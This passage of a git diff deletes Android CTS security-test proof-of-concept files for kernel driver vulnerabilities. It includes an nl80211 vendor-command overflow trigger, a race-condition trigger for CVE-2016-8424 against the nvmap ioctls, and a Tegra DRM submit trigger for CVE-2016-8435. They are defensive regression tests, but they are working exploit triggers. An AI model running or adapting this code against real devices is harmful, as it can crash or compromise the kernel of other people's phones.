-  /* Number of hotlist APs as unsigned 32-bit value, followed by a nested
-   * array of AP_THRESHOLD_PARAM attributes and values. The size of the
-   * array is determined by NUM_AP.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_NUM_AP,
-
-  /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_* attributes.
-   * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM,
-
-  /* Unsigned 32bit value; number of samples for averaging RSSI. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_RSSI_SAMPLE_SIZE,
-  /* Unsigned 32bit value; number of samples to confirm AP loss. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_LOST_AP_SAMPLE_SIZE,
-  /* Unsigned 32bit value; number of APs breaching threshold. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_MIN_BREACHING,
-  /* Unsigned 32bit value; number of APs. Followed by an array of
-   * AP_THRESHOLD_PARAM attributes. Size of the array is NUM_AP.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_NUM_AP,
-  /* Unsigned 32bit value; number of samples to confirm AP loss. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_LOST_AP_SAMPLE_SIZE,
-
-  /* Unsigned 32-bit value. If max_period is non zero or different than
-   * period, then this bucket is an exponential backoff bucket.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_MAX_PERIOD,
-  /* Unsigned 32-bit value. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BASE,
-  /* Unsigned 32-bit value. For exponential back off bucket, number of scans
-   * to performed for a given period.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_STEP_COUNT,
-  /* Unsigned 8-bit value; in number of scans, wake up AP after these
-   * many scans.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_NUM_SCANS,
-
-  /* NL attributes for data used by
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SSID_HOTLIST sub command.
-   */
-  /* Unsigned 32bit value; number of samples to confirm SSID loss. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_LOST_SSID_SAMPLE_SIZE,
-  /* Number of hotlist SSIDs as unsigned 32-bit value, followed by a nested
-   * array of SSID_THRESHOLD_PARAM_* attributes and values. The size of the
-   * array is determined by NUM_SSID.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID,
-  /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_* attributes.
-   * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM,
-
-  /* An array of 33 x Unsigned 8-bit value; NULL terminated SSID */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_SSID,
-  /* Unsigned 8-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_BAND,
-  /* Signed 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_LOW,
-  /* Signed 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_HIGH,
-
-  /* Unsigned 32-bit value; a bitmask w/additional extscan config flag. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CONFIGURATION_FLAGS,
-
-  /* keep last */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_AFTER_LAST,
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX =
-      QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_AFTER_LAST - 1,
-};
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
-
-#define SIR_PASSPOINT_REALM_LEN 256
-#define SIR_PASSPOINT_ROAMING_CONSORTIUM_ID_NUM 16
-#define SIR_PASSPOINT_PLMN_LEN 3
-
-#define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID 1
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START 20
-#define PARAM_REQUEST_ID \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID
-#define PARAM_BASE_PERIOD \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD
-#define PARAM_MAX_AP_PER_SCAN \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN
-
-#define PARAM_RPT_THRHLD_PERCENT \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_PERCENT
-#define PARAM_RPT_THRHLD_NUM_SCANS \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_NUM_SCANS
-
-#define PARAM_NUM_BUCKETS \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS
-
-#define WIFI_BAND_UNSPECIFIED 0
-enum qca_wlan_vendor_attr_pno_config_params {
-  QCA_WLAN_VENDOR_ATTR_PNO_INVALID = 0,
-  /* NL attributes for data used by
-   * QCA_NL80211_VENDOR_SUBCMD_PNO_SET_PASSPOINT_LIST sub command.
-   */
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM = 1,
-  /* Array of nested QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_*
-   * attributes. Array size =
-   * QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM.
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NETWORK_ARRAY = 2,
-
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ID = 3,
-  /* An array of 256 x Unsigned 8-bit value; NULL terminated UTF8 encoded
-   * realm, 0 if unspecified.
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_REALM = 4,
-  /* An array of 16 x Unsigned 32-bit value; roaming consortium ids
-   * to match, 0 if unspecified.
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_CNSRTM_ID = 5,
-  /* An array of 6 x Unsigned 8-bit value; mcc/mnc combination, 0s if
-   *  unspecified.
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_PLMN = 6,
-
-  /* NL attributes for data used by
-   * QCA_NL80211_VENDOR_SUBCMD_PNO_SET_LIST sub command.
-   */
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_NUM_NETWORKS = 7,
-  /* Array of nested
-   * QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_*
-   * attributes. Array size =
-   *      QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_NUM_NETWORKS.
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORKS_LIST = 8,
-  /* An array of 33 x Unsigned 8-bit value; NULL terminated SSID */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_SSID = 9,
-  /* Signed 8-bit value; threshold for considering this SSID as found,
-   * required granularity for this threshold is 4dBm to 8dBm
-   * This attribute is obsolete.
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_RSSI_THRESHOLD = 10,
-  /* Unsigned 8-bit value; WIFI_PNO_FLAG_XXX */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_FLAGS = 11,
-  /* Unsigned 8-bit value; auth bit field for matching WPA IE */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_AUTH_BIT = 12,
-
-  /* Unsigned 8-bit to indicate ePNO type;
-   * It takes values from qca_wlan_epno_type
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_TYPE = 13,
-
-  /* Nested attribute to send the channel list */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_CHANNEL_LIST = 14,
-
-  /* Unsigned 32-bit value; indicates the Interval between PNO scan
-   * cycles in msec
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_SCAN_INTERVAL = 15,
-  /* Signed 32-bit value; minimum 5GHz RSSI for a BSSID to be
-   * considered
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_MIN5GHZ_RSSI = 16,
-  /* Signed 32-bit value; minimum 2.4GHz RSSI for a BSSID to
-   * be considered
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_MIN24GHZ_RSSI = 17,
-  /* Signed 32-bit value; the maximum score that a network
-   * can have before bonuses
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_INITIAL_SCORE_MAX = 18,
-  /* Signed 32-bit value; only report when there is a network's
-   * score this much higher han the current connection
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_CURRENT_CONNECTION_BONUS = 19,
-  /* Signed 32-bit value; score bonus for all networks with
-   * the same network flag
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_SAME_NETWORK_BONUS = 20,
-  /* Signed 32-bit value; score bonus for networks that are
-   * not open
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_SECURE_BONUS = 21,
-  /* Signed 32-bit value; 5GHz RSSI score bonus
-   * applied to all 5GHz networks
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_BAND5GHZ_BONUS = 22,
-
-  /* keep last */
-  QCA_WLAN_VENDOR_ATTR_PNO_AFTER_LAST,
-  QCA_WLAN_VENDOR_ATTR_PNO_MAX = QCA_WLAN_VENDOR_ATTR_PNO_AFTER_LAST - 1,
-};
-
-#define QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_NUM_NETWORKS 7
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_LIST 69
-#define QCA_WLAN_VENDOR_ATTR_EPNO_MIN5GHZ_RSSI 16
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version);
-int test(void);
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version) {
-  struct nl_msg *msg;
-  int ret = -1;
-  unsigned char dst[ETH_ALEN];
-  struct nlattr *rret;
-  struct nlattr *rret2;
-  struct nlattr *rret3;
-  struct nlattr *rret4;
-  unsigned char buf_in[300] = {0xff};
-  int i = 0;
-  unsigned char data_in[SIR_PASSPOINT_ROAMING_CONSORTIUM_ID_NUM];
-
-  unsigned char hb_params[512];
-
-  struct nl80211_sta_flag_update flags;
-  msg = nlmsg_alloc();
-  int if_index = if_nametoindex("wlan0");
-
-  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, QCA_NL80211_VENDOR_ID);
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD,
-              QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_LIST);
-
-  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
-  if (!rret) {
-    return 1;
-  }
-  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_NUM_NETWORKS, 1);
-  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID,
-              0x123);
-  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_MIN5GHZ_RSSI, 0x123);
-  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_MIN24GHZ_RSSI, 0x456);
-  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_INITIAL_SCORE_MAX, 0x234);
-  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_CURRENT_CONNECTION_BONUS, 0x111);
-  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_SAME_NETWORK_BONUS, 0x111);
-  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_SECURE_BONUS, 0x111);
-  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_BAND5GHZ_BONUS, 0x111);
-
-  rret2 = nla_nest_start(
-      msg, QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORKS_LIST);
-  if (!rret2) {
-    return 1;
-  }
-
-  for (i = 0; i < 32; ++i) {
-    rret3 = nla_nest_start(
-        msg, QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORKS_LIST);
-    if (!rret3) {
-      return 1;
-    }
-
-    nla_put(msg, QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_SSID,
-            IEEE80211_MAX_SSID_LEN, &buf_in);
-    nla_put_u8(msg, QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_FLAGS,
-               0x11);
-    nla_put_u8(msg,
-               QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_AUTH_BIT,
-               0xff);
-
-    nla_nest_end(msg, rret3);
-  }
-
-  nla_nest_end(msg, rret2);
-  nla_nest_end(msg, rret);
-  ret = nl_send_auto_complete(nl_sk, msg);
-
-  return 0;
-}
-
-#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
-  int fd = 0;
-  int i = 0;
-  int j = 0;
-  int ret = 0;
-  char *mem;
-  int family_id = 0;
-  struct audio_cal_basic *acb;
-  struct sockaddr_nl saddr;
-  int test = 0x1234;
-  if (getuid() != 0) {
-    return -1;
-  }
-
-  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
-  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
-  setuid(2000);
-
-  nl_sk = nl_socket_alloc();
-  ret = genl_connect(nl_sk);
-  if (ret != 0) {
-    return -1;
-  }
-
-  family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
-#define NL80211_CMD_GET_WIPHY 1
-#define NL80211_CMD_SET_STATION 18
-
-  ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-  return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8424/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8424/Android.mk
deleted file mode 100644
index 985b7d8..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8424/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8424
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8424/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8424/poc.c
deleted file mode 100644
index 4460b88..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8424/poc.c
+++ /dev/null
@@ -1,138 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <stdlib.h>
-#include <errno.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <dirent.h>
-#include <string.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <stdio.h>
-#include <string.h>
-#include <dlfcn.h>
-#include <sys/time.h>
-#include <sys/mman.h>
-#include <sys/syscall.h>
-#include <sys/resource.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <unistd.h>
-#include <sched.h>
-
-
-struct nvmap_handle_param {
-	__u32 handle;		/* nvmap handle */
-	__u32 param;		/* size/align/base/heap etc. */
-	unsigned long result;	/* returns requested info*/
-};
-
-struct nvmap_create_handle {
-	union {
-		__u32 id;	/* FromId */
-		__u32 size;	/* CreateHandle */
-		__s32 fd;	/* DmaBufFd or FromFd */
-	};
-	__u32 handle;		/* returns nvmap handle */
-};
-
-#define NVMAP_IOC_MAGIC 'N'
-#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
-#define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param)
-#define NVMAP_IOC_GET_ID  _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle)
-#define NVMAP_IOC_GET_FD  _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle)
-#define NVMAP_IOC_FREE       _IO(NVMAP_IOC_MAGIC, 4)
-
-int g_fd = -1;
-static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
-static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
-struct nvmap_create_handle* g_allocation = NULL;
-
-int open_driver() {
-    char* dev_path = "/dev/nvmap";
-    g_fd = open(dev_path, O_RDWR);
-    if (g_fd < 0) {
-        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
-    } else {
-        printf("[*] open file(%s) succ!\n", dev_path);
-    }
-    return g_fd;
-}
-
-void trigger_nvmap_create() {
-    ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation);
-    //printf("[*] NVMAP_IOC_CREATE, fd(%d), last error = %d\n", g_allocation->handle, errno);
-}
-
-void trigger_nvmap_free() {
-    static int data = 1024;
-    ioctl(g_fd, NVMAP_IOC_FREE, data);
-    //printf("[*] NVMAP_IOC_FREE last error = %d\n", errno);
-}
-
-void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
-    setpriority(PRIO_PROCESS, gettid(), privi);
-    printf("[*] setpriority(%d) errno = %d\n", privi, errno);
-
-    /* bind process to a CPU*/
-    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
-        printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno);
-    }
-}
-
-void prepare_data() {
-    void* data = calloc(1, 0x1000);
-
-    g_allocation = (struct nvmap_create_handle*)data;
-    g_allocation->size = 1024;
-
-    mprotect(data, 0x1000, PROT_READ);
-    printf("[*] mprotect, error = %d\n", errno);
-}
-static int init = 0;
-void* race_thread(void* arg) {
-    setup_privi_and_affinity(0, 2);
-
-    int i;
-    while (1) {
-        if (init == 0) {
-            pthread_mutex_lock(&mutex);
-            pthread_cond_wait(&cond, &mutex);
-            pthread_mutex_unlock(&mutex);
-            init = 1;
-        }
-        trigger_nvmap_free();
-    }
-}
-
-int main(int argc, char**argv) {
-    setup_privi_and_affinity(0, 1);
-    if (open_driver() < 0) {
-        return -1;
-    }
-    prepare_data();
-    pthread_t tid;
-    pthread_create(&tid, NULL, race_thread, NULL);
-    sleep(1);
-    while (1) {
-        if (init == 0)
-            pthread_cond_signal(&cond);
-        trigger_nvmap_create();
-    }
-    return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
deleted file mode 100644
index 8191685..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8435
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h b/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h
deleted file mode 100644
index 70574fe..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __local_pwn_H__
-#define __local_pwn_H__
-
-#define SIOCIWFIRSTPRIV 0x8BE0
-#define SIOCGIWNAME     0x8B01
-#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
-#define PRIV_CUSTOM_BWCS_CMD            13
-#define PRIV_CMD_OID                    15
-#define PRIV_CMD_SW_CTRL                20
-#define PRIV_CMD_WSC_PROBE_REQ          22
-
-enum host1x_class {
-        HOST1X_CLASS_HOST1X = 0x1,
-        HOST1X_CLASS_NVENC = 0x21,
-        HOST1X_CLASS_VI = 0x30,
-        HOST1X_CLASS_ISPA = 0x32,
-        HOST1X_CLASS_ISPB = 0x34,
-        HOST1X_CLASS_GR2D = 0x51,
-        HOST1X_CLASS_GR2D_SB = 0x52,
-        HOST1X_CLASS_VIC = 0x5D,
-        HOST1X_CLASS_GR3D = 0x60,
-        HOST1X_CLASS_NVJPG = 0xC0,
-        HOST1X_CLASS_NVDEC = 0xF0,
-};
-
-#define DRM_COMMAND_BASE                0x40
-#define DRM_COMMAND_END                 0xA0
-
-#define DRM_TEGRA_OPEN_CHANNEL          0x05
-#define DRM_TEGRA_CLOSE_CHANNEL         0x06
-#define DRM_TEGRA_SUBMIT		0x08
-
-struct drm_tegra_open_channel {
-        __u32 client;
-        __u32 pad;
-        __u64 context;
-};
-
-struct drm_tegra_close_channel {
-        __u64 context;
-};
-
-struct drm_tegra_submit {
-	__u64 context;
-	__u32 num_syncpts;
-	__u32 num_cmdbufs;
-	__u32 num_relocs;
-	__u32 num_waitchks;
-	__u32 waitchk_mask;
-	__u32 timeout;
-	__u64 syncpts;
-	__u64 cmdbufs;
-	__u64 relocs;
-	__u64 waitchks;
-	__u32 fence;		/* Return value */
-	__u32 reserved0;
-	__u64 fences;
-	__u32 reserved1[2];	/* future expansion */
-};
-
-#define DRM_IOCTL_BASE                  'd'
-#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
-#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
-#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
-#define DRM_IOCTL_TEGRA_SUBMIT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_SUBMIT, struct drm_tegra_submit)
-
-struct drm_tegra_syncpt {
-	__u32 id;
-	__u32 incrs;
-};
-
-struct list_head {
-	struct list_head *next, *prev;
-};
-
-struct tegra_drm_client_ops {
-	void* open_channel;
-	void* close_channel; 
-	void* reset;
-	void* is_add_reg;
-	void* submit;
-};
-
-struct tegra_drm_client {
-	/* sizeof(host1x_client) is 232 */
-	unsigned char pad[232];	/* maybe gadget arguments */
-	struct list_head list;
-	struct tegra_drm_client_ops *ops;
-};
-
-struct tegra_drm_context {
-	struct tegra_drm_client *client;
-	void *channel;
-	struct list_head list;
-	/* FIXME we need pass lock op */
-	//struct mutex lock;
-	//bool keepon;
-	//struct host1x_user user;
-};
-
-#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c
deleted file mode 100644
index ff6acb0..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/ioctl.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <sys/syscall.h>
-
-#include "local_pwn.h"
-
-#define DEV "/dev/dri/renderD129"
-#define SYN_NUM 64
-
-struct drm_tegra_open_channel open_c = { 0 };
-struct drm_tegra_submit submit_c = { 0 };
-struct drm_tegra_syncpt syncpts[SYN_NUM] = { 0 };
-
-int main()
-{
-	int ret;
-	int dev_fd;
-	int i;
-
-	/* open dev */
-	dev_fd = open(DEV,O_RDONLY);
-	if(dev_fd == -1){
-		printf("[-] open dev failed %d %s\n", errno, strerror(errno));
-		return 0;
-	}
-	
-	/* prepare for ioctl */
-	open_c.client = HOST1X_CLASS_VIC;
-	submit_c.num_syncpts = SYN_NUM;
-	submit_c.syncpts = (__u64)syncpts;
-
-	for(i = 1; i < SYN_NUM; i++){
-		syncpts[i].id = 192;
-		syncpts[i].incrs = 0xffff;
-	}
-
-	/* open channel */
-	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
-	if(ret == -1){
-		printf("[-] open_channel failed %d %s\n", errno, strerror(errno));
-		goto out_dev;
-	}
-	submit_c.context = open_c.context;
-	printf("[+] call submit\n");
-	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
-	printf("[+] submit return %d\n", ret);
-	
-out_dev:
-	close(dev_fd);
-	return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
deleted file mode 100644
index 034b621..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
+++ /dev/null
